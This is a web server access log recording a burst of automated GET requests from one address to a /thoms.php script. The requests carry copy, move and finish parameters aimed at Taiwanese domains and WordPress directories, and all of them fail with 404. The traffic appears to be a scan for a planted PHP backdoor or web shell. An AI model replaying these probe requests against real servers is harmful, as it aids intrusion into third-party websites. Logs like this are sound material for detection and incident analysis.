45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:11 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:12 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:13 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:14 -0400] "GET /thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
